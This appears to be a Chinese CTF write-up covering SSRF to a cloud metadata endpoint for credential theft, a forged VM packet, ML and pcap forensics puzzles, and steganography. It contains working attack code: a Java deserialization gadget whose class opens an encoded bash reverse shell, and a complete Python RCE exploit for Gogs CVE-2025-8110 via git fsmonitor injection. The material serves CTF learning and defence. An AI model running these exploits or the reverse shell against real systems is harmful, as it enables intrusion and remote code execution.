开启环境,首先看到一个登陆框,尝试注册用户,但是没有任何线索
后续通过弱口令登录 root 获取线索:
username: root
passowrd: root123此处设计初衷,没有使用AWS默认的元数据地址,而是进行了修改,希望选手们能通过弱口令进入root用户,在root用户的历史中获取元数据的链接,但是发现大多数选手都是使用了其他方法(例如十进制绕过:http://2130706433:1338/),甚至有fuzz出http://metadata:1338 的选手。
登录后进入 Tasks 列表,可以看到 root 的历史任务Legacy metadata check。进入任务详情页可见曾经访问的 Config URL:
进入查看
可以看到曾经访问了一个 Config URL:
http://metadata:1338/latest/meta-data/iam/security-credentials/
从url特征看,应该是元数据,通过查询,发现这是AWS IMDSv1的典型路径,用于列出实例角色名,并且能推断出,其中返回的clouddiag-instance-role对应的就是题目中角色名,可以通过
http://metadata:1338/latest/meta-data/iam/security-credentials/<role-name>
的方式返回角色的临时凭证(AK/SK/Token)
也可以看出,该url看起来像是内网域名,因此,通过New task模块,填写Config URL为http://metadata:1338/latest/meta-data/iam/security-credentials/clouddiag-instance-role

回显是一个JSON,包含了临时凭证AK、SK、Token
使用本平台的Cloud Explorer模块,填入获取到的AK、SK、Token
首先,仅填写ak、sk、token时,列出来三个桶
查看其中的clouddiag-secrets
进一步填写Prefix和Object Key获取flag
Bytecode Compiler
打开页面,存在脚本输入框、编译运行按钮、输出区
点击“编译并运行”后,会按照支持的指令输出
查看“编译并运行”的请求细节:
可以观察到,请求接口是/api/vm,参数为packet_b64,可以看出后端并不接收我输入的明文脚本,而是被处理过的二进制包
此处根据页面上的提示,”其它指令为内部诊断用途“,作为提示,因此需要看一下前端是如何处理的输入的内容,并观察是否能够获取到其它指令
查看JS,bundle.js 里有 buildPacket、encodeOp、fnv1a32等函数,这三处就是“生成packet的协议的结构、opcode混淆、checksum生成”的步骤
function buildPacket(ast) {
const nonce = new Uint8Array(8);
crypto.getRandomValues(nonce);
const nonceLow32 = new DataView(nonce.buffer).getUint32(0, true);
const flags = diagModeEl && diagModeEl.checked ? 0x01 : 0x00;
const chunks = [];
chunks.push(...encoder.encode('WVLT'));
chunks.push(0x01);
chunks.push(...nonce);
chunks.push(ast.length & 0xff);
const opMap = { ECHO: 0, LEN: 1, HASH: 2 };
const instructions = [];
ast.forEach((node) => {
const opId = opMap[node.op];
const argBytes = encoder.encode(node.arg);
});
const body = Uint8Array.from(chunks);
const checksum = fnv1a32(body);
const packet = new Uint8Array(body.length + 4);
packet.set(body, 0);
packet.set(u32le(checksum), body.length);
const meta = {
total_len: packet.length,
count: ast.length,
instructions
};
return { packet, meta };
}function encodeOp(opId, nonceLow32) {
const rot = (rotl32((nonceLow32 ^ K2) >>> 0, ROT) & 0xfffffffc) >>> 0;
const base = ((opId ^ K1) + rot) >>> 0;
return ((base ^ K3) | 0x80000000) >>> 0;
}
function fnv1a32(bytes) {
let hash = 0x811c9dc5;
for (let i = 0; i < bytes.length; i += 1) {
hash ^= bytes[i];
hash = (hash * 0x01000193) >>> 0;
}
return hash >>> 0;
}可以在其中看到,opMap中显示了三个指令的opCode,分别为,ECHO:0、LEN:1、HASH:2
除去包头外,其中的每个node的结构为 {op:"XXX", arg: string},其中每条指令会被编码成二进制字段,分别是:
opCode:4字节(u32le小端写入),并且opCode不是opId的直接写入,而是通过了encodeOp生成后再写入
flags:1字节(打开诊断模式可发现,当flags为1是为诊断模式)
argBytes.length:2字节,u16le小端写入,参数长度
argBytes:参数内容
最终把可读的解析信息塞进instructions
instructions.push({ op: node.op, op_id: opId, flags, arg_len: argBytes.length });
并通过fnv1a32计算checksum,并追加到包尾
因此,为了能够重新构造packet,需要根据buildPacket中的顺序固定构造对应的结构
ver(1)
nonce(8)
count(1)
N * [op_code(4) | flags(1) | arg_len(2) | arg_bytes]
checksum(4)因此,其实在前端中,已经给出了packet_b64的生成过程
构造脚本尝试生成题目合法的packet_b64
import base64
import os
import struct
KEY_PARTS = [0x1C, 0x2D, 0x3E, 0x40, 0xA5, 0xB6, 0xC7, 0xD8, 0x24, 0x68, 0xAC, 0xE0]
K1 = ((KEY_PARTS[0] << 24) | (KEY_PARTS[1] << 16) | (KEY_PARTS[2] << 8) | KEY_PARTS[3]) & 0xFFFFFFFF
K2 = ((KEY_PARTS[4] << 24) | (KEY_PARTS[5] << 16) | (KEY_PARTS[6] << 8) | KEY_PARTS[7]) & 0xFFFFFFFF
K3 = ((KEY_PARTS[8] << 24) | (KEY_PARTS[9] << 16) | (KEY_PARTS[10] << 8) | KEY_PARTS[11]) & 0xFFFFFFFF
ROT = 11
def rotl32(value, shift):
return ((value << shift) | (value >> (32 - shift))) & 0xFFFFFFFF
def encode_op(op_id, nonce_low32):
rot = rotl32(nonce_low32 ^ K2, ROT) & 0xFFFFFFFC
base = (op_id ^ K1) + rot
return ((base ^ K3) | 0x80000000) & 0xFFFFFFFF
def fnv1a32(data):
h = 0x811C9DC5
for b in data:
h = (h ^ b) & 0xFFFFFFFF
if h & 0x80000000:
h = h - 0x100000000
h = int(float(h) * float(0x01000193)) & 0xFFFFFFFF
return h
def build_packet(op_id, flags, arg_bytes, nonce):
nonce_low32 = struct.unpack("<I", nonce[:4])[0]
op_code = encode_op(op_id, nonce_low32)
body = bytearray()
body.extend(b"WVLT")
body.append(0x01)
body.extend(nonce)
body.append(1)
body.extend(struct.pack("<I", op_code))
body.append(flags & 0xFF)
body.extend(struct.pack("<H", len(arg_bytes)))
body.extend(arg_bytes)
checksum = fnv1a32(body)
body.extend(struct.pack("<I", checksum))
return bytes(body)
def main():
op_id = 0
flags = 0x00
arg = "hello"
nonce = os.urandom(8)
packet = build_packet(op_id, flags, arg.encode("utf-8"), nonce)
print(base64.b64encode(packet).decode())
if __name__ == "__main__":
main()可以成功构造packet_b64
此时在根据题目页面上的显示:“其它指令为内部诊断用途”
需要去考虑其他指令,那隐藏的指令的话,就猜测为opId=3
同样尝试构造
但是此时显示,对于opId为3没有权限:
如何绕过这个鉴权而使用到隐藏的指令呢,就需要看一下诊断模式,此时默认flags为1的时候,给出了当前的dispatch_index的解释逻辑
比较重要的是:signed_flags < 0: compatibility dispatch uses flags in index
说明只要让 flags 变成负数,分派索引就会用 flags 参与计算,从而影响最终执行的指令。
诊断输出还会提示dispatch table has 4 slots (including internal diagnostic slot),指令表共有 4 个槽位(含内部诊断槽位),因此索引只会落在 0,1,2,3,可以想到后端会不会对索引进行取模(4)。
flags 只有 1 字节,当按有符号数解释时0x83变成负数,从而触发兼容分派,又因为它的低两位是11,取模后索引为 3,进而就可以触发隐藏指令
成功得到token:
接下来直接通过配置接口拿到flag
且通过robots.txt中暴露出来的读取flag的接口:
访问:
http://xxx/api/fetch?url=http://127.0.0.1/internal/flag&token=you-got-me-baby-where-is-my-bytecode
获得flag
EZJAVA
直接看关键的 com.unictf.ctf.tools.ConfigDataWrapper 类。它的 toString 方法重写,里面用十六进制混淆了一个字符串 646566696e65436c617373,还原出来正好是 defineClass。结合后面的逻辑看,它会把 ClassByte 这个数组里的每一位都跟 0xff 做异或运算还原出字节码,然后利用反射调用 ClassLoader.defineClass 把类加载进来,紧接着又调了 newInstance()。这就意味着,只要我们能控制 ClassByte 数组并触发这个 toString,就能实现任意代码执行。
BadAttributeValueExpException.readObject可以触发toString方法,所以序列化configDataWrapper这个类即可
在写恶意类时要特别注意 Linux 环境,如果想反弹 Shell,必须套一层 bash -c。另外,JVM 有个特性,同一个类名加载过一次就不能再加载了,所以每次打 Payload 的时候,记得把类名改一改(比如从 MyCalc1 改到 MyCalc2),否则 defineClass 会报错,导致 newInstance 执行不到。
恶意类:
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class MyCalc extends AbstractTranslet {
public MyCalc() {
try {
// 使用 bash -c 配合 base64 绕过管道解析问题
String cmd = "echo YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC9wb3J0IDA+JjE= | base64 -d | bash";
Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
} catch (Exception e) {}
}
@Override public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
@Override public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
}EXP:
byte[] bytes = Files.readAllBytes(Paths.get("D:\\MyCalc.class\\"));
for (int i = 0; i < bytes.length; i++) {
bytes[i] = (byte) (bytes[i] ^ 0xff);
}
ConfigDataWrapper configDataWrapper = new ConfigDataWrapper();
Field signField = configDataWrapper.getClass().getDeclaredField("sign");
signField.setAccessible(true);
signField.set(configDataWrapper, "ready");
Field declaredField = configDataWrapper.getClass().getDeclaredField("ClassByte");
declaredField.setAccessible(true);
declaredField.set(configDataWrapper, bytes);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class c = Class.forName("javax.management.BadAttributeValueExpException");
Field field = c.getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, configDataWrapper);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeUTF("InternalManager");
oos.writeInt(2025);
oos.writeObject(badAttributeValueExpException);
String finalPayload = Base64.getEncoder().encodeToString(baos.toByteArray());
String encode = URLEncoder.encode(finalPayload);
System.out.println(encode);
}还可以通过logger.info触发toString方法,在调用 logger.info 之前,对参数进行求值阶段就会调用toString方法。
// 读取恶意class文件
byte[] bytes = Files.readAllBytes(Paths.get("D:\\MyCalc.class"));
// XOR加密处理
for (int i = 0; i < bytes.length; i++) {
bytes[i] = (byte) (bytes[i] ^ 0xff);
}
// 直接构造ConfigDataWrapper,不需要BadAttributeValueExpException
ConfigDataWrapper configDataWrapper = new ConfigDataWrapper();
// 设置sign为"ready",触发toString中的代码加载
Field signField = configDataWrapper.getClass().getDeclaredField("sign");
signField.setAccessible(true);
signField.set(configDataWrapper, "ready");
// 设置加密后的class字节码
Field declaredField = configDataWrapper.getClass().getDeclaredField("ClassByte");
declaredField.setAccessible(true);
declaredField.set(configDataWrapper, bytes);
// 序列化payload
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeUTF("InternalManager");
oos.writeInt(2025);
oos.writeObject(configDataWrapper); // 直接写入ConfigDataWrapper
String finalPayload = Base64.getEncoder().encodeToString(baos.toByteArray());
String encode = URLEncoder.encode(finalPayload);
System.out.println(encode);
}gogogos
有两种打法, 一种是打 cve-2025-8110, 一种是登录弱口令 ctf / ctf 管理员账户打git hook
这里贴出预期解法打cve-2025-8110的exp
import requests
import os
import subprocess
import shutil
import base64
import sys
import time
import argparse
# Configuration
TARGET_BASE_URL = "http://localhost:3000" # 目标Gogs, 需要开放注册功能或已存在可登录用户
USERNAME = "aaa" # 登录用户名
PASSWORD = "111111" # 登录密码
REPO_OWNER = "aaa" # 仓库所有者
REPO_NAME = "bbb" # 仓库名称
SYMLINK_FILENAME = "test" # 要创建的symlink文件名
TARGET_FILE = ".git/config" # symlink指向的目标文件,这里是git配置文件
# Derived constants
REPO_URL = f"{TARGET_BASE_URL}/{REPO_OWNER}/{REPO_NAME}.git"
API_URL = f"{TARGET_BASE_URL}/api/v1/repos/{REPO_OWNER}/{REPO_NAME}/contents/{SYMLINK_FILENAME}"
import stat
def on_rm_error(func, path, exc_info):
# path contains the path of the file that couldn't be removed
# let's just assume it's read-only and try to make it writable.
os.chmod(path, stat.S_IWRITE)
try:
func(path)
except Exception:
pass
def setup_git_repo():
print(f"[*] Setting up local git repository to push symlink '{SYMLINK_FILENAME}' -> '{TARGET_FILE}'...")
if os.path.exists("temp_exploit_repo"):
try:
shutil.rmtree("temp_exploit_repo", onerror=on_rm_error)
except Exception as e:
print(f"[!] Warning: Could not clean up old repo: {e}")
if not os.path.exists("temp_exploit_repo"):
os.makedirs("temp_exploit_repo")
os.chdir("temp_exploit_repo")
try:
subprocess.run(["git", "init"], check=True)
# Create a dummy file to commit first (optional, but good practice)
with open("README.md", "w") as f:
f.write("# POC Repo")
subprocess.run(["git", "add", "README.md"], check=True)
subprocess.run(["git", "commit", "-m", "Initial commit"], check=True)
# Create the symlink using git hash-object
# We want SYMLINK_FILENAME to point to TARGET_FILE
print("[*] Creating symlink manually via git objects...")
# 1. Get hash of the target path string
# Note: echo -n is important to avoid newline
proc = subprocess.run(["git", "hash-object", "-w", "--stdin"], input=TARGET_FILE.encode(), stdout=subprocess.PIPE, check=True)
blob_hash = proc.stdout.decode().strip()
# 2. Add to index as symlink (mode 120000)
subprocess.run(["git", "update-index", "--add", "--cacheinfo", "120000", blob_hash, SYMLINK_FILENAME], check=True)
# Verify the mode in the index
proc_ls = subprocess.run(["git", "ls-files", "-s", SYMLINK_FILENAME], stdout=subprocess.PIPE, check=True)
print(f"[*] Verified git index mode: {proc_ls.stdout.decode().strip()}")
# 3. Commit
subprocess.run(["git", "commit", "-m", "Add malicious symlink"], check=True)
# 4. Push to remote
# Construct URL with credentials
# Handle protocol (http/https)
protocol = REPO_URL.split("://")[0]
rest = REPO_URL.split("://")[1]
auth_repo_url = f"{protocol}://{USERNAME}:{PASSWORD}@{rest}"
print(f"[*] Pushing to {REPO_URL}...")
subprocess.run(["git", "remote", "add", "origin", auth_repo_url], check=True)
subprocess.run(["git", "push", "-u", "origin", "master", "-f"], check=True)
print("[+] Symlink pushed successfully.")
except subprocess.CalledProcessError as e:
print(f"[-] Git operation failed: {e}")
sys.exit(1)
finally:
os.chdir("..")
def trigger_rce(rce_command, proxies=None):
print(f"[*] Triggering RCE by overwriting '{SYMLINK_FILENAME}' via API...")
print(f"[*] Command to execute: {rce_command}")
# Construct malicious git config
# We include standard core settings to avoid breaking git immediately
# The fsmonitor is the key payload
config_payload = f"""[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
fsmonitor = "{rce_command}"
[remote "origin"]
url = {REPO_URL}
fetch = +refs/heads/*:refs/remotes/origin/*
"""
# Base64 encode the content
content_b64 = base64.b64encode(config_payload.encode()).decode()
payload = {
"content": content_b64,
"message": "Trigger RCE",
"branch": "master"
}
headers = {
"Content-Type": "application/json",
"Authorization": f"token {get_token()}" if False else None # We use Basic Auth
}
# Try to create a token first if Basic Auth fails or just use it
token = create_token(proxies)
if token:
print(f"[+] Obtained token: {token}")
headers["Authorization"] = f"token {token}"
auth = None # Do not use basic auth if we have token
else:
print("[!] Could not create token, falling back to Basic Auth (which failed previously with 401)")
auth = (USERNAME, PASSWORD)
print(f"[*] Sending PUT request to {API_URL}")
try:
response = requests.put(API_URL, json=payload, auth=auth, headers=headers, proxies=proxies)
print(f"[*] Response Status Code: {response.status_code}")
print(f"[*] Response Body: {response.text}")
if response.status_code == 500:
print("[+] Received 500 Internal Server Error. This is EXPECTED if the exploit worked!")
print(" The 'fsmonitor' command is executed when Gogs tries to run 'git add' internally.")
print(f" Check if the command '{rce_command}' was executed on the server.")
elif response.status_code == 200 or response.status_code == 201:
print("[-] Received 200/201. The file was updated. Check if RCE triggered.")
else:
print("[-] Unexpected response status.")
except Exception as e:
print(f"[-] Request failed: {e}")
def create_token(proxies=None):
print("[*] Attempting to create an access token via API...")
url = f"{TARGET_BASE_URL}/api/v1/users/{USERNAME}/tokens"
auth = (USERNAME, PASSWORD)
payload = {"name": f"exploit_token_{int(time.time())}"}
try:
response = requests.post(url, json=payload, auth=auth, proxies=proxies)
if response.status_code == 201:
return response.json().get("sha1")
else:
print(f"[-] Failed to create token. Status: {response.status_code}, Body: {response.text}")
return None
except Exception as e:
print(f"[-] Token creation request failed: {e}")
return None
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Gogs CVE-2025-8110 RCE Exploit")
parser.add_argument("--command", default="touch /tmp/GOGS_RCE_SUCCESS_CVE_2025_8110", help="Command to execute on the server")
parser.add_argument("--skip-setup", action="store_true", help="Skip git repo setup (use if already pushed)")
parser.add_argument("--proxy", default=None, help="Proxy URL (default: None)")
args = parser.parse_args()
proxies = None
if args.proxy:
proxies = {"http": args.proxy, "https": args.proxy}
print(f"[*] Using proxy: {args.proxy}")
if not args.skip_setup:
setup_git_repo()
# Wait a moment to ensure consistency
time.sleep(2)
rce_command = args.command
# Escape double quotes for git config
rce_command = rce_command.replace('"', '\\"')
# For verification: Print the exact command being injected
print(f"[*] Injected fsmonitor command: {rce_command}")
trigger_rce(rce_command, proxies=proxies)
Misc
welcome
签到
Dirty Truth
以下改编自EDISEC队的题解,写的很好:
先让 AI 写了个训练模型 检测一下 feat 重要程度
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
import seaborn as sns
from sklearn.decomposition import PCA
from sklearn.manifold import TSNE
from sklearn.ensemble import RandomForestClassifier
def visual_analysis():
print("[-] 读取数据...")
try:
train = pd.read_csv('train.csv')
challenge = pd.read_csv('challenge.csv')
except:
print("[!] 路径错误")
return
# 准备数据
y = train['label'].str.strip().map({'T': 1, 'F': 0})
features = [c for c in train.columns if c.startswith('feat')]
X = train[features]
X_chal = challenge[features]
print("[-] 正在进行可视化分析 & 特征重要性检测...")
pca = PCA(n_components=2)
X_pca = pca.fit_transform(X)
plt.figure(figsize=(12, 5))
plt.subplot(1, 2, 1)
plt.title("PCA 2D Projection (Is it text?)")
# 根据 Label 染色:红色是 F,蓝色是 T
plt.scatter(X_pca[:, 0], X_pca[:, 1], c=y, cmap='coolwarm', alpha=0.5, s=2)
plt.xlabel("Component 1")
plt.ylabel("Component 2")
rf = RandomForestClassifier(n_estimators=100, random_state=42)
rf.fit(X, y)
importances = rf.feature_importances_
indices = np.argsort(importances)[::-1]
plt.subplot(1, 2, 2)
plt.title("Feature Importances (The Real Clue)")
plt.bar(range(X.shape[1]), importances[indices])
plt.xlabel("Feature Index (Sorted)")
plt.ylabel("Importance")
# 打印前 5 个最重要的特征
print("\n" + "="*40)
print("🔥 最关键的 5 个特征 (其余可能是噪声):")
top_features = []
for i in range(5):
idx = indices[i]
print(f" {i+1}. {features[idx]} (重要性: {importances[idx]:.4f})")
top_features.append(features[idx])
print("="*40)
plt.tight_layout()
plt.show()
if __name__ == "__main__":
visual_analysis()feat1 和 feat2 影响因子最大
这里不妨采用距离阈值来对数据进行训练
先计算一下半径为多少时 能得到最匹配的数据
import pandas as pd
import numpy as np
def calculate_best_threshold():
df = pd.read_csv('train.csv')
f0 = df['feat_0']
f1 = df['feat_1']
radius = np.sqrt(f0**2 + f1**2)
labels = df['label'].values
best_thresh = 0
max_accuracy = 0
for t in np.arange(0.1, 1.5, 0.01):
preds = []
for r in radius:
if r < t:
preds.append('T')
else:
preds.append('F')
correct = 0
for p, l in zip(preds, labels):
if p == l:
correct += 1
accuracy = correct / len(labels)
if accuracy > max_accuracy:
max_accuracy = accuracy
best_thresh = t
print(f"{best_thresh:.3f}")
print(f"匹配度: {max_accuracy*100:.2f}%")
if __name__ == "__main__":
calculate_best_threshold()0.65 是最匹配的数值
看 challenge.csv 一共有 8736 行 factor 一下
8736/8 = 1092那猜测 要么是把 flag 混在里面 (尝试后无果) 要么是重复写 flag 可能某一字符重复写 (这样 同时可以矫正传递的信息正确) 不妨对其以每多少位为一字符爆破
这里复杂化题目 对数据进行了 XOR 后面根据hint 可以让ai尝试 可能会根据题目名字里的字符也就是Dirty作为 KEY 来解密
最后能解出来 base64 字符 解码后即可得到 flag
import pandas as pd
import numpy as np
import base64
def solve():
df_c = pd.read_csv('challenge.csv')
f0 = df_c['feat_0']
f1 = df_c['feat_1']
radius_list = np.sqrt(f0**2 + f1**2)
bits = ""
for i in range(len(df_c)):
r = radius_list[i]
label = df_c['label'][i]
predicted = 'T' if r < 0.65 else 'F'
if predicted == label:
bits += '1'
else:
bits += '0'
total_len = len(bits)
factors = [1, 2, 3, 4, 6, 7, 12, 13, 14, 21, 26, 28, 39, 42, 52, 78, 84, 91, 156, 182, 273, 364, 546, 1092]
key = "DIRTY"
for f in factors:
reduced_bits = ""
for i in range(0, total_len, f):
chunk = bits[i : i + f]
if len(chunk) == f:
if chunk.count('1') > f // 2:
reduced_bits += '1'
else:
reduced_bits += '0'
if len(reduced_bits) == 0 or len(reduced_bits) % 8 != 0:
continue
try:
byte_list = []
for i in range(0, len(reduced_bits), 8):
byte_list.append(int(reduced_bits[i : i + 8], 2))
final_bytes = []
for i in range(len(byte_list)):
final_bytes.append(byte_list[i] ^ ord(key[i % len(key)]))
flag = base64.b64decode(bytes(final_bytes)).decode('utf-8', errors='ignore')
print(flag)
except:
continue
if __name__ == "__main__":
solve()工厂应急流量分析
#!/usr/bin/env python3
"""
工厂应急响应 - 新题目完整解题脚本
一次性输出所有7个flag
"""
from scapy.all import *
from datetime import datetime, timezone
def solve_all_flags(filename):
print("=" * 80)
print("工厂应急响应 - 自动解题脚本(新题目)")
print("=" * 80)
print(f"\n[*] 正在读取 {filename}...")
pkts = rdpcap(filename)
print(f"[*] 总共 {len(pkts)} 个数据包\n")
flags = {}
# ========================================================================
# Q1: 谁把阀门打开了?(Modbus)
# ========================================================================
print("\n" + "=" * 80)
print("Q1: 谁把阀门打开了?")
print("=" * 80)
for pkt in pkts:
if TCP in pkt and (pkt[TCP].dport == 502 or pkt[TCP].sport == 502):
if Raw in pkt:
payload = bytes(pkt[Raw].load)
if len(payload) >= 12:
trans_id = int.from_bytes(payload[0:2], 'big')
func_code = payload[7]
# Function code 5 = Write Single Coil
if func_code == 5:
coil_addr = int.from_bytes(payload[8:10], 'big')
coil_value = int.from_bytes(payload[10:12], 'big')
if coil_value == 0xFF00: # ON (Modbus中0xFF00表示ON)
print(f"找到打开阀门的操作:")
print(f" Transaction ID: 0x{trans_id:04x}")
print(f" Function Code: 0x{func_code:02x}")
print(f" Coil Address: 0x{coil_addr:04x}")
print(f" Coil Value: 0x{coil_value:04x} (ON)")
flags['Q1'] = f"flag{{0x{trans_id:04x}_0x{func_code:02x}_0x{coil_addr:04x}}}"
print(f"\n✅ Q1答案: {flags['Q1']}")
break
# ========================================================================
# Q2: 被读取的NodeId (OPC UA)
# ========================================================================
print("\n" + "=" * 80)
print("Q2: 被读取的NodeId")
print("=" * 80)
for pkt in pkts:
if TCP in pkt and (pkt[TCP].dport == 4840 or pkt[TCP].sport == 4840):
if Raw in pkt:
payload = bytes(pkt[Raw].load)
if b'ReadRequest' in payload:
try:
text = payload.decode('utf-8', errors='ignore')
if 'NodeId=' in text:
start = text.find('NodeId=')
# 查找NodeId的结束位置(可能是分号、换行或其他分隔符)
# 先查找分号,但要确保不是NodeId内部的分号(如ns=2;s=...)
# 查找第一个不在引号内的分号,或者换行符
end = len(text)
for i in range(start + 7, len(text)):
if text[i] == ';' and i > start + 20: # 确保不是NodeId内部的分号
# 检查这个分号后面是否跟着另一个字段名(如MaxAge)
if i + 1 < len(text) and text[i+1:i+7].isalpha():
end = i
break
elif text[i] == '\n' or text[i] == '\r':
end = i
break
if end > start:
nodeid = text[start + 7:end].strip()
print(f"找到OPC UA读取操作:")
print(f" 完整内容片段: {text[start:start+200]}")
print(f" 被读取的NodeId: {nodeid}")
flags['Q2'] = f"flag{{{nodeid}}}"
print(f"\n✅ Q2答案: {flags['Q2']}")
break
except Exception as e:
pass
# ========================================================================
# Q3: 控制站域名解析结果
# ========================================================================
print("\n" + "=" * 80)
print("Q3: 控制站域名解析结果")
print("=" * 80)
for pkt in pkts:
if DNS in pkt and pkt.haslayer(DNSRR):
for i in range(pkt[DNS].ancount):
dnsrr = pkt[DNS].an[i]
if dnsrr.type == 1: # A record
qname = dnsrr.rrname.decode() if isinstance(dnsrr.rrname, bytes) else str(dnsrr.rrname)
if 'ctrlws.factory.local' in qname:
ip = dnsrr.rdata
if isinstance(ip, bytes):
ip = '.'.join(map(str, ip))
if '192.168.1.' in str(ip):
print(f"找到控制站域名解析:")
print(f" 域名: {qname}")
print(f" 解析IP: {ip}")
flags['Q3'] = f"flag{{{ip}}}"
print(f"\n✅ Q3答案: {flags['Q3']}")
break
if 'Q3' in flags:
break
# ========================================================================
# Q4: SCADA到控制站首个成功发起的时间点
# ========================================================================
print("\n" + "=" * 80)
print("Q4: SCADA到控制站首个成功发起的时间点")
print("=" * 80)
# 从Q3得知控制站IP
ctrlws_ip = flags['Q3'].split('{')[1].split('}')[0] if 'Q3' in flags else "192.168.1.10"
scada_ip = "192.168.1.5"
# 找到第一个SYN包
syn_pkt = None
for pkt in pkts:
if TCP in pkt and IP in pkt:
if (pkt[IP].src == scada_ip and pkt[IP].dst == ctrlws_ip and
pkt[TCP].flags == 0x02): # SYN
syn_pkt = pkt
break
# 找到对应的SYN-ACK
syn_ack_pkt = None
if syn_pkt:
for pkt in pkts:
if TCP in pkt and IP in pkt:
if (pkt[IP].src == ctrlws_ip and pkt[IP].dst == scada_ip and
pkt[TCP].sport == syn_pkt[TCP].dport and
pkt[TCP].dport == syn_pkt[TCP].sport and
pkt[TCP].flags == 0x12): # SYN-ACK
syn_ack_pkt = pkt
break
# 找到对应的ACK(三次握手完成)
if syn_ack_pkt:
for pkt in pkts:
if TCP in pkt and IP in pkt:
if (pkt[IP].src == scada_ip and pkt[IP].dst == ctrlws_ip and
pkt[TCP].sport == syn_pkt[TCP].sport and
pkt[TCP].dport == syn_pkt[TCP].dport and
pkt[TCP].flags == 0x10 and # ACK
pkt.time > syn_ack_pkt.time):
utc_time = datetime.fromtimestamp(float(pkt.time), tz=timezone.utc)
time_str = utc_time.strftime('%Y-%m-%dT%H:%M:%SZ')
print(f"找到SCADA到控制站的首个成功连接:")
print(f" SCADA: {scada_ip}")
print(f" 控制站: {ctrlws_ip}")
print(
f" SYN时间: {datetime.fromtimestamp(float(syn_pkt.time), tz=timezone.utc).strftime('%Y-%m-%dT%H:%M:%SZ')}")
print(f" ACK时间(连接成功): {time_str}")
flags['Q4'] = f"flag{{{time_str}}}"
print(f"\n✅ Q4答案: {flags['Q4']}")
break
# ========================================================================
# Q5: SCADA对控制站的HTTP请求
# ========================================================================
print("\n" + "=" * 80)
print("Q5: SCADA对控制站的HTTP请求")
print("=" * 80)
for pkt in pkts:
if TCP in pkt and Raw in pkt and IP in pkt:
payload = bytes(pkt[Raw].load)
src_ip = pkt[IP].src
dst_ip = pkt[IP].dst
# 查找从SCADA到控制站的HTTP请求
if (b'POST ' in payload or b'GET ' in payload) and b'Host:' in payload:
if src_ip == scada_ip and dst_ip == ctrlws_ip:
try:
text = payload.decode('utf-8', errors='ignore')
lines = text.split('\n')
# 提取方法和URI
method_line = lines[0] if lines else ""
uri = ""
if ' ' in method_line:
parts = method_line.split(' ')
if len(parts) >= 2:
uri = parts[1]
# 提取Host
host = ""
for line in lines:
if line.startswith('Host:'):
host = line.split('Host:')[1].strip()
break
if host and uri:
print(f"找到SCADA对控制站的HTTP请求:")
print(f" 源: {src_ip}")
print(f" 目的: {dst_ip}")
print(f" Host: {host}")
print(f" URI: {uri}")
print(f" 请求内容:")
for line in lines[:8]:
print(f" {line}")
answer = f"{host}_{uri}"
flags['Q5'] = f"flag{{{answer}}}"
print(f"\n✅ Q5答案: {flags['Q5']}")
break
except Exception as e:
pass
# ========================================================================
# Q6: ICMP Echo Request的序列号
# ========================================================================
print("\n" + "=" * 80)
print("Q6: ICMP Echo Request的序列号")
print("=" * 80)
attacker_ip = "192.168.1.100"
for pkt in pkts:
if ICMP in pkt and IP in pkt:
if (pkt[ICMP].type == 8 and # Echo Request
pkt[IP].src == attacker_ip):
icmp_seq = pkt[ICMP].seq
icmp_id = pkt[ICMP].id
print(f"找到ICMP Echo Request:")
print(f" 源IP: {pkt[IP].src}")
print(f" 目的IP: {pkt[IP].dst}")
print(f" ICMP ID: 0x{icmp_id:04x}")
print(f" ICMP序列号: 0x{icmp_seq:04x}")
flags['Q6'] = f"flag{{0x{icmp_seq:04x}}}"
print(f"\n✅ Q6答案: {flags['Q6']}")
break
# ========================================================================
# Q7: SNMP Get请求的OID
# ========================================================================
print("\n" + "=" * 80)
print("Q7: SNMP Get请求的OID")
print("=" * 80)
scada_ip = "192.168.1.5"
for pkt in pkts:
if UDP in pkt and IP in pkt:
if pkt[UDP].dport == 161: # SNMP port
# 只查找从SCADA到控制站的SNMP请求
if pkt[IP].src == scada_ip and pkt[IP].dst == ctrlws_ip:
if Raw in pkt:
payload = bytes(pkt[Raw].load)
if b'SNMP' in payload or b'GetRequest' in payload or b'OID=' in payload:
try:
text = payload.decode('utf-8', errors='ignore')
if 'OID=' in text:
start = text.find('OID=')
# 查找OID的结束位置
end = len(text)
for i in range(start + 4, len(text)):
if text[i] == ';' or text[i] == '\n' or text[i] == '\r':
end = i
break
if end > start:
oid = text[start + 4:end].strip()
print(f"找到SNMP Get请求:")
print(f" 源IP: {pkt[IP].src}")
print(f" 目的IP: {pkt[IP].dst}")
print(f" 完整内容片段: {text[:200]}")
print(f" OID: {oid}")
flags['Q7'] = f"flag{{{oid}}}"
print(f"\n✅ Q7答案: {flags['Q7']}")
break
except Exception as e:
pass
# ========================================================================
# 输出所有答案
# ========================================================================
print("\n" + "=" * 80)
print("所有Flag汇总")
print("=" * 80)
for i in range(1, 8):
key = f'Q{i}'
if key in flags:
print(f"{key}: {flags[key]}")
else:
print(f"{key}: 未找到")
print("\n" + "=" * 80)
print("解题完成!")
print("=" * 80)
if __name__ == "__main__":
solve_all_flags("123.pcap")懒得贴了 脚本一把梭吧
subgroup_Illuminator & CodeGolf Revenge
本题无固定答案
柿子:sandbox编写问题我的锅Orz
总裁四比特,这能玩?
解压查看图片的尾部有数据
提取文件分析
文件尾部的数据显示是png 但是文件头对不上
原png的文件头是89504E47 这里显示的是59004EB7
高位提取显示是 504B0304 也就是zip的文件头数据
低位是png的数据
